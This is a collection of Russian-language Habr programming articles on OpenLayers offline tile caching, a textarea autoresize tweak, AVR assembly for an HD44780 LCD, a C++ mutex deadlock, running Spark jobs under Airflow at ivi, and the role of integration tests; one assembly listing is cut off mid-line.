self.initImage(key, value, false);
} else {
self.initImage(key, url, true);
}
}, function () {
self.initImage(key, url, true);
});
} else {
self.initImage(key, url, false);
}
},
initImage: function(key, url, cache) {
this.events.triggerEvent('beforeload');
this.layer.div.appendChild(this.getTile());
this.events.triggerEvent(this._loadEvent);
var img = this.getImage();
this.stopLoading();
if (cache) {
OpenLayers.Event.observe(img, 'load',
OpenLayers.Function.bind(this.onImageLoadWithCache, this)
);
this._storageKey = key;
} else {
OpenLayers.Event.observe(img, 'load',
OpenLayers.Function.bind(this.onImageLoad, this)
);
}
OpenLayers.Event.observe(img, 'error',
OpenLayers.Function.bind(this.onImageError, this)
);
this.imageReloadAttempts = 0;
this.setImgSrc(url);
}
});
var StorageOSMLayer = OpenLayers.Class(OpenLayers.Layer.OSM, {
async: true,
tileClass: StorageImageTile,
initialize: function(name, url, options) {
OpenLayers.Layer.OSM.prototype.initialize.apply(this, arguments);
this.tileOptions = OpenLayers.Util.extend({
storage: options.storage
}, this.options && this.options.tileOptions);
},
clone: function (obj) {
if (obj == null) {
obj = new StorageOSMLayer(this.name,
this.url,
this.getOptions());
}
obj = OpenLayers.Layer.Grid.prototype.clone.apply(this, [obj]);
return obj;
}
});
```
Сама же карта в данном случае будет инициализироваться следующим образом:
```
var map = new OpenLayers.Map('map');
map.addLayer(new StorageOSMLayer(undefined, undefined, {storage: storage}));
var fromProjection = new OpenLayers.Projection('EPSG:4326');
var toProjection = new OpenLayers.Projection('EPSG:900913');
var center = new OpenLayers.LonLat(27.561850, 53.902254).transform(fromProjection, toProjection);
map.setCenter(center, 13);
```
Также добавим наши ресурсы в Application Cache, чтобы карта могла полноценно работать без сети с закэшированными тайлами:
**Application Cache manifest для OpenLayers**
```
CACHE MANIFEST
NETWORK:
*
CACHE:
index.html
style.css
event.js
storage.js
map.js
run.js
theme/default/style.css
OpenLayers.js
```
[Пример](http://tbicr.github.com/OfflineMap/openlayers/index.html) и [его код на гитхабе](https://github.com/tbicr/OfflineMap/tree/master/openlayers_idb_sql_site).
Еще я нашел уже готовую реализацию кэша [`OpenLayers.Control.CacheWrite`](https://github.com/openlayers/openlayers/tree/5b98769234dc20172a3cb6eeb77e60b297766e45/lib/OpenLayers/Control/CacheWrite.js), но только с использованием `localStorage`, что не очень интересно.
#### Заключение
Собственно я получил что хотел. Примеры шустро работают в хроме или если у Вас SSD, в лисе и опере наблюдаются тормаза при сохранении на диск, осла под рукой не оказалось. Тормоза проявляются и в мобильных браузерах, причем даже при чтении, что немного меня расстроило, тк для мобильных устройств данная задача более актуальна.
Стандартного размера хранилища `IndexedDB` или `WebSQL` вполне хватит чтобы закэшировать город или больше, что делает применение подхода более интересным чем в варианте с `localStorage`.
В моих примерах можно работать с асинхронными хранилищами, но для большего комфорта нужно еще поработать над их реализацией, чтобы повысить производительность по сравнению с тем что есть сейчас. | https://habr.com/ru/post/170129/ | null | ru | null |
# И еще немного об автоподстройке высоты textarea
Редизайня один «смартфонный» проект, я наткнулся на страницу чата с textarea, не умеющей ресайзиться в зависимости от количества строк. Не составило проблемы найти и подключить небольшой плагин ([autoResize](http://www.xiper.net/examples/js-plugins/forms/autoresize/js/autoresize.jquery.js)) к jQuery, умеющий увеличивать высоту textarea, но при тесте формы мне смутно чего-то не хватало.
И этим «чем-то» была невозможность кратковременно скрыть раздувшуюся под засильем «многобуков» textarea, да еще так, чтобы потом она без лишних вопросов раскрылась обратно. Все потому, что увеличивать высоту textarea мы вроде бы научились, а вот ненадолго скрыть ее, чтобы освободить место на экране — почему-то не хотим.
Решение напросилось само: сообщить autoResize, когда мы меняем фокус с нашей textarea на другой элемент страницы и наоборот — когда возвращаемся к ней снова. И заставить при этом что-нибудь сделать.
Для этого будет достаточно после 73 строки плагина вставить следующий код:
```
// при онблуре сжимаемся до одной строки
$(this).blur(function(){
$(this).height(origHeight + 'px');
});
// при онфокусе восстанавливаем высоту
$(this).focus(function(){
$(this).height(lastScrollTop + 'px');
});
```
Теперь, если вам захочется прочитать текст собеседника, не отправляя незаконченный ответ, вы можете тапнуть в поле чата и textarea сократится до одной строки. И наоборот: тапнув обратно на свой ответ, вы заставите ее снова раскрыться до комфортной высоты.
P.S.: [Пример на jsfiddle](http://jsfiddle.net/cb8mswc0/12/). Оттуда же можно скачать измененный плагин. | https://habr.com/ru/post/269325/ | null | ru | null |
# Управляем ЖК дисплеем HD44780 с помощью ассемблера
В университете на одном профильном предмете начали изучать стенд на основе микроконтроллера МК-51, дисплея HD44780, клавиатуры. Все это дело программируется через COM порт с помощью ассемблера. На тот момент я изучат микроконтроллеры семейства AVR (а именно Atmega8), поэтому появилось желание научиться инициализировать и выводить на экран какую-нибудь информацию с помощью ассемблера без применения библиотек. После продолжительных поисков нашел только то, как дисплей запрограммировать на языке C с помощью библиотек, в которых не совсем понятно, что происходит. Поэтому было принято решение написать код самому, с использованием ассемблерных команд. Дисплей 0802, две строки.
Первым делом нужно было собрать устройство, на котором можно было потренироваться, но так как на тот момент у меня была платка от другой «игрушки», грех было не воспользоваться этой платой, так как обвязка МК в обоих схемах почти идентичная. Исходная схема платы ниже:
Дальше нужно было подключить дисплей, у нас даже остается 2 не задействованных вывода ( PD0, PD1). Все программируется через JTAG (X1). Соединял дисплей по этой схеме:
Я решил использовать 4 битный режим передачи, как я тогда думал, что его осуществить будет легче. Схему пришлось изменить ввиду отсутствия светодиодной подсветки (нет 15 и 16 вывода на дисплее), также убрал не нужный мне светодиодный индикатор (D1, R2). Питал всю схему и дисплей от аккумулятора от сотового.
В итоге у меня получилось это:
Плату изготавливал с помощью ЛУТ (лазерно утюжный метод)
Настало время программной части. Программу писал на AVRstudio
**Код**
```
.include
#define RS 2 //RS=PD2
#define E 3 //E=PD3
.def temp = r16
rjmp reset
.org 40
reset:
ldi r16, HIGH(RAMEND) ;настройка стека
out SPH,r16
ldi r16,LOW(RAMEND)
out SPL,r16
ldi r16,0xfc ;настройка ножек PD2-PD7 на выход
out ddrd,r16
ldi r16,0x00
out portd,r16
rcall LCD\_init
sbi portb,6 ;пишем данные
rcall LCD\_dat
rjmp loop
LCD\_init:
ldi temp,0x30 ;управляющее слово
rcall LCD\_com1 ;вызов программы ввода
ldi temp,0x30
rcall LCD\_com1
ldi temp,0x30
rcall LCD\_com1
ldi temp,0x20 ;4 бит режим
rcall LCD\_com1
ldi temp,0x20
rcall LCD\_com
ldi temp,0x0c
rcall LCD\_com
ldi temp,0x06
rcall LCD\_com
ldi temp,0x01
rcall LCD\_com
ret
LCD\_dat:
ldi ZL, LOW(DB << 1)
ldi ZH, HIGH(DB << 1)
ldi r21,8 ;количество элементов в массиве
m1: lpm temp, Z+
rcall LCD\_com
dec r21
cpi r21,0
brne m1
ret
LCD\_com:
ldi r24,(0<
```
Программу старался писать не отходя от алгоритма приведенного в даташите.
Пришлось сделать разделение на подпрограммы LCD\_com1 и LCD\_com, так как не получалось отправлять команды настройки и коды символов через одну подпрограмму.
Если нужно выводить на вторую строку тоже нужно добавить эти строки:
```
cbi portb,6 ;пишем команды на вторая строку, начало строки
ldi temp,0xc2
rcall LCD_com
sbi portb,6 ;пишем данные
rcall LCD_dat
```
Однако, по непонятным мне причинам при выводе на экран информации в 2х строчный режим контрастность сильно снижается.
Коды символов нужно брать из таблицы и заносить в массив, не забывая про ограничение размеров экрана
В дальнейшем планируется применить навыки на практике, термометр на процессоре, реобас или еще где-нибудь
Исходный код проекта:
[dl.dropbox.com/u/77527472/LCDasm.zip](http://dl.dropbox.com/u/77527472/LCDasm.zip)
В нем подключена кнопка на ресет, при нажатии, содержимое дисплея обновляется
Даташит на дисплей
[dl.dropbox.com/u/77527472/wh1602-datasheet.pdf](http://dl.dropbox.com/u/77527472/wh1602-datasheet.pdf)
Даташит на микроконтроллер, там же есть система команд на него
[dl.dropbox.com/u/77527472/ATmega8](http://dl.dropbox.com/u/77527472/ATmega8)(L).pdf
ps: пост первый, поэтому принимаю всю критику в свою сторону, постараюсь в дальнейшем все учесть | https://habr.com/ru/post/166735/ | null | ru | null |
# Concurrency и паттерны ошибок, скрытые в коде: Deadlock
Наверняка, многие слышали, а кто-то встречал на практике, такие слова, как взаимные блокировки(deadlock) и гонки(race condition). Эти понятия относятся к разряду ошибок в использовании concurrency. Если я задам вам вопрос, что такое дедлок, вы с большой вероятностью без доли сомнения начнете рисовать классическую картинку дедлока или его представление в псевдокоде. Что-то вроде этого:
Эту информацию мы получаем в институте, можно найти в книжках и статьях на просторах интернета. Такой дедлок с использованием, например, двух мьютексов, во всей своей красе можно встретить в коде. Но в большинстве случаев не все так просто, и не каждый может увидеть классический паттерн ошибки в коде, если он представлен не в привычном виде.
Рассмотрим класс, в котором нас интересуют методы StartUpdate, CheckAndUpdate и Stop, используется C++, код максимально упрощен:
```
std::recursive_mutex m_mutex;
Future m_future;
void Stop()
{
std::unique_lock scoped_lock(m_mutex);
m_future.Wait();
// do something
}
void StartUpdate()
{
m_future.Wait();
m_future = Future::Schedule(std::bind(∈::CheckAndUpdate, this),
std::chrono::milliseconds(100);
}
void CheckAndUpdate()
{
std::unique_lock scoped_lock(m_mutex);
//do something
}
```
На что следует обратить внимание в представленном коде:
1. используется рекурсивный мьютекс. Неоднократный захват рекурсивного мьютекса не приводит к ожиданию только, если эти захват происходит в том же потоке. При этом количество освобождений мьютекса должно соответствовать количеству захватов. Если же мы пытаемся захватить рекурсивный мьютекс, который уже захвачен в другом потоке, поток переходит в режим ожидания.
2. функция Future::Schedule запускает (через n миллисекунд) в отдельном потоке передаваемый в нее колбэк
Теперь проанализируем всю полученную информацию и составим картинку:
Принимая во внимание два представленных выше факта, нетрудно сделать вывод, что попытка захвата рекурсивного мьютекса в одной из функций приведет к ожиданию освобождения мьютекса, если он уже был захвачен в другой функции, поскольку колбэк CheckAndUpdate всегда выполняется в отдельном потоке.
На первый взгляд ничего подозрительного, относящегося к дедлоку нет. Но если быть повнимательнее, то все сводится к нашей классической картинке. Когда начинает выполняться функциональный объект, мы как бы неявно захватываем ресурс m\_future, колбэк напрямую
ассоциируется с m\_future:
**Порядок действий, приводящих к дедлоку, таков:**
1. Планируется выполнение CheckAndUpdate, но колбэк стартует не сразу, через n миллисекунд.
2. Вызывается Stop метод, и тут понеслась: пытаемся захватить мьютекс – ресурс один захвачен, начинаем ждать окончания выполнения m\_future – вызова объекта пока еще не было, ждем.
3. Начинается выполнение CheckAndUpdate: пытаемся захватить мьютекс – не можем, ресурс уже захвачен другим потоком, ожидаем освобождения.
Вот и все: поток, выполняющий вызов Stop, ждет завершения выполнения CheckAndUpdate, а другой поток в свою очередь не может продолжить работу, пока не захватит мьютекс, который уже захвачен упомянутым ранее потоком. Вполне себе классический дедлок. Пол дела сделано – обнаружена причина проблемы.
**Теперь немного о том, как это исправить****Подход 1**
Порядок захвата ресурсов должен быть одинаковым, это позволит избежать дедлоков. То есть нужно посмотреть, возможно ли поменять порядок захвата ресурсов в методе Stop. Так как здесь случай дедлока не совсем очевидный, и явный захват ресурса m\_future в CheckAndUpdate отсутствует, решили подумать над другим решением во избежание возвращения ошибки в будущем.
**Подход 2**
1. Проверить, можно ли отказаться от использования мьютекса в CheckAndUpdate.
2. Раз у нас используется механизм синхронизации, то мы ограничиваем доступ к каким-то ресурсам. Возможно, вам будет достаточно переделать эти ресурсы в атомики(как это было у нас), доступ к которым уже потокобезопасный.
3. Оказалось, что переменные, доступ к которым ограничивался, можно легко переделать в атомики, поэтому упомянутый мьютекс успешно удаляется.
Вот такой незамысловатый пример с неочевидным дедлоком легко сводится к паттерну этой ошибки. Напоследок хочу пожелать вам писать надежный и потокобезопасный код! | https://habr.com/ru/post/442448/ | null | ru | null |
# Внедрение Airflow для управления Spark-джобами в ivi: надежды и костыли
Задача деплоя моделей машинного обучения в продакшн — это всегда боль и страдания, потому что очень некомфортно вылезать из уютного jupyter notebook в мир мониторинга и отказоустойчивости.
Мы уже писали про [первую итерацию рефакторинга](https://habr.com/ru/company/ivi/blog/351176/) рекомендательной системы онлайн-кинотеатра ivi. За прошедший год мы почти не дорабатывали архитектуру приложения (из глобального — только перезд с устаревших python 2.7 и python 3.4 на «свежий» python 3.6), зато добавили несколько новых ML моделей и сразу столкнулись с проблемой выкатывания новых алгоритмов в продакшн. В статье я расскажу про наш опыт внедрения такого инструмента управления потоками выполнения задач как Apache Airflow: почему у команды возникла эта необходимость, чем не устраивало существующее решение, какие костыли пришлось запилить по дороге и что из этого получилось.
→ Видео-версию доклада можно посмотреть на ютубе (начиная с 03:00:00) [здесь](https://youtu.be/LQBVJ9iukG4?t=10815).
[](https://habr.com/ru/company/ivi/blog/456630/)
Команда Hydra
-------------
Немного расскажу о проекте: ivi — это несколько десятков тысяч единиц контента, у нас один из крупнейших легальных каталогов в рунете. Главная страница web-версии ivi — персонализованная нарезка из каталога, которая призвана предоставить пользователю самый сочный, самый релевантный контент, основываясь на его фидбэке (просмотрах, рейтингах и так далее).
Онлайн-часть рекомендательной системы представляет собой бэкендовое Flask-приложение с нагрузкой до 600 RPS. В оффлайне модель обучается более чем на 250 миллионах просмотрах контента за месяц. Пайплайны подготовки данных для обучения реализованы на Spark, который работает поверх хранилища Hive.
В команде сейчас 7 разработчиков, которые занимаются как созданием моделей, так и выкатыванием их в продакшн — это довольно большая команда, которая требует удобных инструментов управления потоками задач.
Архитектура оффлайн-части
-------------------------
Ниже вы видите схему инфраструктуры потоков данных для рекомендательной системы.
Тут изображены два хранилища данных — Hive для пользовательского фидбэка (просмотры, рейтинги) и Postgres для различной бизнес-информации (типы монетизации контента и прочее), при этом налажена перелиливка из Postgres в Hive. Пачка Spark-приложений высасывает данные из Hive: и обучает на этих данных наши модели (ALS для персональных рекомендаций, различные коллаборативные модели схожести контента).
Spark-приложения традиционно управлялись с выделенной виртуалки, которую мы называем hydra-updater с помощью связки cron+shell-скрипт. Эта связка была создана в отделе эксплуатации ivi в незапамятные времена и отлично работала. Shell-скрипт являлся единой точкой входа для запуска spark-приложений — то есть каждая новая модель начинала крутиться в проде только после того, как админы допилят этот скрипт.
Часть артефактов обучения моделей сохраняется в HDFS на вечное хранение (и ждёт, пока их оттуда кто-нибудь скачает и перенесёт на сервера, где крутится онлайн-часть) а часть пишется прямо из Spark-драйвера в быстрое хранилище Redis, которое мы используем как общую память для нескольких десятков python-процессов онлайн-части.
У такой архитектуры со временем накопился ряд недостатков:
На схеме видно, что потоки данных имеют довольно сложную и запутанную структуру — без простого и понятного инструмента управления этим добром разработка и эксплуатация превратятся в ужас, тлен и страдания.
Кроме управления spark-приложениями, админский скрипт делает множество полезных вещей: рестарт сервисов на бою, дамп Redis и другие системные штуки. Очевидно, что за длительный период эксплуатации скрипт оброс множеством функций, так как каждая новая наша модель порождала пару десятков строчек в нем. Скрипт стал выглядеть слишком перегруженным по функционалу, поэтому нам в команде рекомендательной системы захотелось вынести куда-нибудь часть функционала, которая касается запуска и управления Spark-приложениями. Для этих целей мы и решили заюзать Airflow.
Костыли для Airflow
-------------------
Кроме решения всех эти проблем, конечно, по дороге мы создали себе новых — разворачивание Airflow для запуска и мониторинга Spark-приложений оказалось делом непростым.
Основная трудность заключалась в том, что всю инфраструктуру для нас бы переделывать никто не стал, т.к. devops-ресурс — штука дефицитная. По этой причине нам пришлось не просто внедрить Airflow, а интегрировать его в существующую систему, что намного сложнее запиливания “с нуля”.
Я хочу рассказать про боли, с которыми мы столкнулись в процессе внедрения, и костыли которые нам пришлось запилить, чтобы всё-таки завести Airflow.
**Первая и главная боль**: как интегрировать Airflow в большой shell-скрипт отдела эксплуатации.
Тут решение самое очевидное — мы стали триггерить графы прямо из shell-скрипта с помощью бинарника airflow c ключом trigger\_dag. При этом подходе мы не используем шедулер Airflow и по сути Spark-приложение запускается всё тем же кроном — это религиозно не очень правильно. Зато мы получили бесшовную интеграцию с уже существующим решением. Вот как выглядит старт из shell-скрипта нашего главного Spark-приложения, которое исторически называется hydramatrices.
```
log "$FUNCNAME started"
local RETVAL=0
export AIRFLOW_CONFIG=/opt/airflow/airflow.cfg
AIRFLOW_API=api/dag_last_run/hydramatrices/all
log "run /var/www/airflow/bin/airflow trigger_dag hydramatrices"
/var/www/airflow/bin/airflow trigger_dag hydramatrices 2>&1 | tee -a $LOGFILE
```
**Боль:** Shell-скрипт отдела эксплуатации должен как-то определять статус Airflow-графа, чтобы управлять собственным потоком выполнения.
Костыль: мы расширили Airflow REST API эндпоинтом для мониторинга DAG прямо внутри shell-скриптов. Теперь каждый граф имеет три состояния: RUNNING, SUCCEED, FAILED.
По сути после запуска вычислений в Airflow мы просто регулярно опрашиваем бегущий граф: пуляем GET-запрос, чтобы определить, завершился DAG, или нет. Когда эндпоинт мониторинга отвечает об успешном выполнении графа, shell-скрипт продолжает исполнение своего потока.
Хочется сказать, что Airflow REST API это просто огненная штука, которая позволяет гибко конфигуриловать ваши пайплайны — например, в графы можно прокидывать POST-параметры.
Расширение API Airflow — это просто питоновский класс, который выглядит примерно так:
```
import json
import os
from airflow import settings
from airflow.models import DagBag, DagRun
from flask import Blueprint, request, Response
airflow_api_blueprint = Blueprint('airflow_api', __name__, url_prefix='/api')
AIRFLOW_DAGS = '{}/dags'.format(
os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
)
class ApiResponse:
"""Класс обработки ответов на GET запросы"""
STATUS_OK = 200
STATUS_NOT_FOUND = 404
def __init__(self):
pass
@staticmethod
def standard_response(status: int, payload: dict) -> Response:
json_data = json.dumps(payload)
resp = Response(json_data, status=status, mimetype='application/json')
return resp
def success(self, payload: dict) -> Response:
return self.standard_response(self.STATUS_OK, payload)
def error(self, status: int, message: str) -> Response:
return self.standard_response(status, {'error': message})
def not_found(self, message: str = 'Resource not found') -> Response:
return self.error(self.STATUS_NOT_FOUND, message)
```
Используем API в shell-скрипте — опрашиваем эндпоинт каждые 10 минут:
```
TRIGGER=$?
[ "$TRIGGER" -eq "0" ] && log "trigger airflow DAG succeeded" || { log "trigger airflow DAG failed"; return 1; }
CMD="curl -s http://$HYDRA_SERVER/$AIRFLOW_API | jq .dag_last_run.state"
STATE=$(eval $CMD)
while [ $STATE == \"running\" ]; do
log "Generating matrices in progress..."
sleep 600
STATE=$(eval $CMD)
done
[ $STATE == \"success\" ] && RETVAL=0 || RETVAL=1
[ $RETVAL -eq 0 ] && log "$FUNCNAME succeeded" || log "$FUNCNAME failed"
return $RETVAL
```
**Боль**: если вы когда-нибудь запускали Spark-джобу с помощью spark-submit в cluster-режиме, то вы знаете что логи в STDOUT представляют собой неинформативную простыню со строчками “SPARK APPLICATION\_ID IS RUNNING”. Логи самого Spark-приложения можно было посмотреть, например, с помощью команды yarn logs. В shell-скрипте эта проблема решалась просто: открывался SSH-туннель до одной из машин кластера и spark-submit выполнялся в client-режиме этой машине. В таком случае в STDOUT будут читаемые и понятные логи. В Airflow мы решили всегда использовать cluster-решим и такой номер уже не пройдёт.
Костыль: после того, как spark-submit отработал, тянем логи драйвера из HDFS по application\_id и выводим в интерфейсе Airflow просто через питоновский оператор print(). Единственный минус — в интерфейсе Airflow логи появляются только после того как spark-submit отработал, следить за джобой реалтайм приходится в других местах — например, веб-морде YARN.
```
def get_logs(config: BaseConfig, app_id: str) -> None:
"""Получить логи спарка
:param config:
:param app_id:
"""
hdfs = HDFSInteractor(config)
logs_path = '/tmp/logs/{username}/logs/{app_id}'.format(username=config.CURRENT_USERNAME, app_id=app_id)
logs_files = hdfs.files_in_folder(logs_path)
logs_files = [file for file in logs_files if file[-4:] != '.tmp']
for file in logs_files:
with hdfs.hdfs_client.read(os.path.join(logs_path, file), encoding='utf-8', delimiter='\n') as reader:
print_line = False
for line in reader:
if re.search('stdout', line) and len(line) > 30:
print_line = True
if re.search('stderr', line):
print_line = False
if print_line:
print(line)
```
**Боль**: для тестировщиков и разработчиков по-хорошему нужно было бы завести тестовый стенд Airflow, но мы экономим devops ресурсы, поэтому долго думали о том, как же нам развернуть тестовую среду.
Костыль: мы упаковали Airflow в докер-контейнер, а Dockerfile положили прямо в репозиторий со спарк-джобами. Таким образом каждый разработчик или тестировщик может поднять свой собственный Airflow на локальной машине. В силу того, что приложения исполняются в cluster-mode, локальных ресурсов для докера почти не требуется.
Еще внутрь докер-контейнера спряталась локальная установка спарка и вся его настройка через переменные окружения — больше не нужно тратить по несколько часов на настройку окружения. Ниже я привел пример с фрагментом докерфайла для контейнера с Airflow, где можно видеть, как конфигурируется Airflow c помощью переменных среды:
```
FROM ubuntu:16.04
ARG AIRFLOW_VERSION=1.9.0
ARG AIRFLOW_HOME
ARG USERNAME=airflow
ARG USER_ID
ARG GROUP_ID
ARG LOCALHOST
ARG AIRFLOW_PORT
ARG PIPENV_PATH
ARG PROJECT_HYDRAMATRICES_DOCKER_PATH
RUN apt-get update \
&& apt-get install -y \
python3.6 \
python3.6-dev \
&& update-alternatives --install /usr/bin/python3 python3.6 /usr/bin/python3.6 0 \
&& apt-get -y install python3-pip
RUN mv /root/.pydistutils.cf /root/.pydistutils.cfg
RUN pip3 install pandas==0.20.3 \
apache-airflow==$AIRFLOW_VERSION \
psycopg2==2.7.5 \
ldap3==2.5.1 \
cryptography
# Директория с проектом, которая используется в дальнейшем всеми скриптами
ENV PROJECT_HYDRAMATRICES_DOCKER_PATH=${PROJECT_HYDRAMATRICES_DOCKER_PATH}
ENV PIPENV_PATH=${PIPENV_PATH}
ENV SPARK_HOME=/usr/lib/spark2
ENV HADOOP_CONF_DIR=$PROJECT_HYDRAMATRICES_DOCKER_PATH/etc/hadoop-conf-preprod
ENV PYTHONPATH=${SPARK_HOME}/python/lib/py4j-0.10.4-src.zip:${SPARK_HOME}/python/lib/pyspark.zip:${SPARK_HOME}/python/lib
ENV PIP_NO_BINARY=numpy
ENV AIRFLOW_HOME=${AIRFLOW_HOME}
ENV AIRFLOW_DAGS=${AIRFLOW_HOME}/dags
ENV AIRFLOW_LOGS=${AIRFLOW_HOME}/logs
ENV AIRFLOW_PLUGINS=${AIRFLOW_HOME}/plugins
# Для корректного отображения логов в Airflow (log url)
BASE_URL="http://${AIRFLOW_CURRENT_HOST}:${AIRFLOW_PORT}" ;
# Настройка конфига Airflow
ENV AIRFLOW__WEBSERVER__BASE_URL=${BASE_URL}
ENV AIRFLOW__WEBSERVER__ENDPOINT_URL=${BASE_URL}
ENV AIRFLOW__CORE__AIRFLOW_HOME=${AIRFLOW_HOME}
ENV AIRFLOW__CORE__DAGS_FOLDER=${AIRFLOW_DAGS}
ENV AIRFLOW__CORE__BASE_LOG_FOLDER=${AIRFLOW_LOGS}
ENV AIRFLOW__CORE__PLUGINS_FOLDER=${AIRFLOW_PLUGINS}
ENV AIRFLOW__SCHEDULER__CHILD_PROCESS_LOG_DIRECTORY=${AIRFLOW_LOGS}/scheduler
```
В результате внедрения Airflow мы достигли следующих результатов:
* Сократили релизный цикл: выкатка новой модели (или пайплайна подготовки данных) теперь сводится к написанию нового графа Airflow, сами графы хранятся в репозитории и деплоятся вместе с кодом. Этот процесс полностью находится в руках разработчика. Админы счастливы, мы больше не дёргаем их по мелочам.
* Логи Spark-приложений, которые раньше попадали прямиком в ад теперь хранятся в Aiflow с удобным интерфейсом доступа. Можно посмотреть логи за любой день без ковыряния в HDFS-директориях.
* Завалившийся расчёт можно перезапустить одной кнопкой в интерфейсе, это очень удобно, справится даже джун.
* Можно пулять спарк-джобы из интерфейса, не упарываясь с настройкой Spark на локальной машине. Тестировщики счастливы — все настройки для корректной работы spark-submit уже сделаны в Dockerfile
* Стандартные плюшки Aiflow — расписания, перезапуск упавших джобов, красивые графики (например, длительность выполнения приложений, статистика успешных и неуспешных запусков).
Куда двигаться дальше? Сейчас у нас огромное количество источников и стоков данных, число которых будет расти. Изменения в любом классе репозитория hydramatrices могут привести к крашу в другом пайплайне (или даже в онлайн-части):
* переливки Clickhouse → Hive
* препроцессинг данных: Hive → Hive
* деплой c2c моделей: Hive → Redis
* подготовка справочников (вроде типа монетизации контента): Postgres → Redis
* подготовка моделей: Local FS → HDFS
В такой ситуации нам жизненно необходим стенд для автоматического тестирования пайплайнов в подготовки данных. Это сильно сократит затраты на тестирование изменений в репозитории, ускорит выкатывание новых моделей в продакшн и резко увеличит уровень эндорфинов у тестировщиков. А ведь без Airflow развернуть стенд для такого рода автотестов было бы невозможно!
Эту статью я написал, чтобы рассказать про наш опыт внедрения Airflow, который может оказаться полезным другим командам в похожей ситуации — у вас уже есть большая работающая система, а вы хотите попробовать что-то новое, модное и молодёжное. Не нужно бояться каких-то обновлений работающей системы, нужно пробовать и экспериментировать — такие эксперименты обычно открывают новые горизонты для дальнейшего развития. | https://habr.com/ru/post/456630/ | null | ru | null |
# Тюнинг MySQL — thread_cache_size
Параметр thread\_cache\_size играет немаловажную роль в производительности нагруженного MySQL-сервера. В некоторых случаях можно увеличить производительность на 30-50%.
Этот параметр указывает количество тредов, уходящих в кеш при отключении клиента. При новом подключении тред используется из кеша, что позволяет экономить ресурсы при больших нагрузках.
Выявить необходимость оптимизации параметра thread\_cache\_size можно следующим путем:
```
mysqladmin -u root -p extended-status | grep Threads
```
Если значение Threads\_created значительно больше, чем Threads\_cached (на тысячи), значит thread\_cache\_size или слишком мал, или вовсе отключен.
Оптимальное значение thread\_cache\_size, при котором Threads\_created держится на приемлемом уровне, колеблется от 8 до 100, в зависимости от нагрузки и количества памяти.
Рекомендуется постепенно повышать значение thread\_cache\_size и наблюдать за Threads\_created до тех пор, пока Threads\_created будет незначительно больше Threads\_cached. | https://habr.com/ru/post/159085/ | null | ru | null |
# Для чего нужно интеграционное тестирование?
Эта статья является конспектом книги «[Принципы юнит-тестирования](https://www.litres.ru/vladimir-horikov/principy-unit-testirovaniya-pdf-epub-64083637/)». Материал статьи посвящен интеграционным тестам.
Юнит-тесты прекрасно справляются с проверкой бизнес-логики, но проверять эту логику «в вакууме» недостаточно. Необходимо проверять, как разные ее части интегрируются друг с другом и внешними системами: базой данных, шиной сообщений и т. д.
В этой статье рассматривается роль интеграционных тестов, когда их следует использовать и когда лучше положиться на классические юнит-тесты. Также затронем эффективное написание интеграционных тестов.
Что такое интеграционный тест?
------------------------------
Юнит-тест удовлетворяет следующим трем требованиям:
* проверяет правильность работы одной единицы поведения;
* делает это быстро;
* и в изоляции от других тестов.
Тест, который не удовлетворяет хотя бы одному из этих трех требований, относится к категории интеграционных тестов. На практике интеграционные тесты почти всегда проверяют, как система работает в интеграции с внепроцессными зависимостями.
Если все внепроцессные зависимости заменить моками, никакие зависимости не будут совместно использоваться между тестами, благодаря чему эти тесты останутся быстрыми и сохранят свою изоляцию друг от друга и становятся юнит-тестами. Тем не менее во многих приложениях существует внепроцессная зависимость, которую невозможно заменить моком. Обычно это база данных — зависимость, не видимая другими приложениями.
Важно поддерживать баланс между юнит- и интеграционными тестами. Работа напрямую с внепроцессными зависимостями замедляет интеграционные тесты. Кроме того, их сопровождение также обходится дороже.
С другой стороны, интеграционные тесты проходят через больший объем кода, что делает их более эффективными в защите от багов по сравнению с юнит-тестами. Они также более отделены от рабочего кода, а, следовательно, обладают большей устойчивостью к его рефакторингу.
Соотношение между юнит- и интеграционными тестами зависит от особенностей проекта, но общее правило выглядит так: проверьте как можно больше пограничных случаев бизнес-сценария юнит-тестами; используйте интеграционные тесты для покрытия одного позитивного пути, а также всех граничных случаев, которые не покрываются юнит-тестами.
Для интеграционного теста выберите самый длинный позитивный путь, проверяющий взаимодействия со всеми внепроцессными зависимостями. Если не существует одного пути, проходящего через все такие взаимодействия, напишите дополнительные интеграционные тесты — столько, сколько потребуется для отражения взаимодействий с каждой внешней системой.
Какие из внепроцессных зависимостей должны проверяться напрямую
---------------------------------------------------------------
Все внепроцессные зависимости делятся на две категории.
* Управляемые зависимости (внепроцессные зависимости, находящиеся под вашим полным контролем): эти зависимости доступны только через ваше приложение; взаимодействия с ними не видны внешнему миру. Типичный пример — база данных.
* Неуправляемые зависимости (внепроцессные зависимости, которые не находятся под вашим полным контролем) — результат взаимодействия с такими зависимостями виден извне. В качестве примеров можно привести сервер SMTP и шину сообщений.
Взаимодействия с управляемыми зависимостями относятся к деталям имплементации. И наоборот, взаимодействия с неуправляемыми зависимостями являются частью наблюдаемого поведения вашей системы.
Рис. 1 – Взаимодействия с зависимостямиЭто различие приводит к тому, что такие зависимости по-разному обрабатываются в интеграционных тестах. Взаимодействия с управляемыми зависимостями являются деталями имплементации. Использовать их следует в исходном виде в интеграционных тестах. Взаимодействия с неуправляемыми зависимостями являются частью наблюдаемого поведения системы. Такие зависимости должны заменяться моками.
Требование о сохранении схемы взаимодействий с неуправляемыми зависимостями обусловлено необходимостью поддержания обратной совместимости с такими зависимостями. Моки идеально подходят для этой задачи. Они позволяют обеспечить неизменность схемы взаимодействий при любых возможных рефакторингов. Поддерживать обратную совместимость во взаимодействиях с управляемыми зависимостями не обязательно, потому что никто, кроме вашего приложения, с ними не работает. Внешних клиентов не интересует, как устроена ваша база данных; важно только итоговое состояние вашей системы. Использование реальных экземпляров управляемых зависимостей в интеграционных тестах помогает проверить это итоговое состояние с точки зрения внешних клиентов.
Иногда встречаются внепроцессные зависимости, обладающие свойствами как управляемых, так и неуправляемых зависимостей. Хорошим примером служит база данных, доступная для других приложений.
> База данных — не лучший механизм для интеграции между системами, потому что она связывает эти системы друг с другом и усложняет дальнейшую их разработку. Используйте это решение только в случае, если других вариантов нет. Правильнее осуществлять интеграцию через API (для синхронных взаимодействий) или шину сообщений (для асинхронных взаимодействий).
>
>
В этом случае следует рассматривать таблицы, видимые для других приложений, как неуправляемую зависимость. Такие таблицы фактически выполняют функции шины сообщений, а их строки играют роль сообщений. Используйте моки, чтобы гарантировать неизменность схемы взаимодействий с этими таблицами. В то же время следует рассматривать остальные части базы данных как управляемую зависимость и проверять ее итоговое состояние, а не взаимодействия с ней.
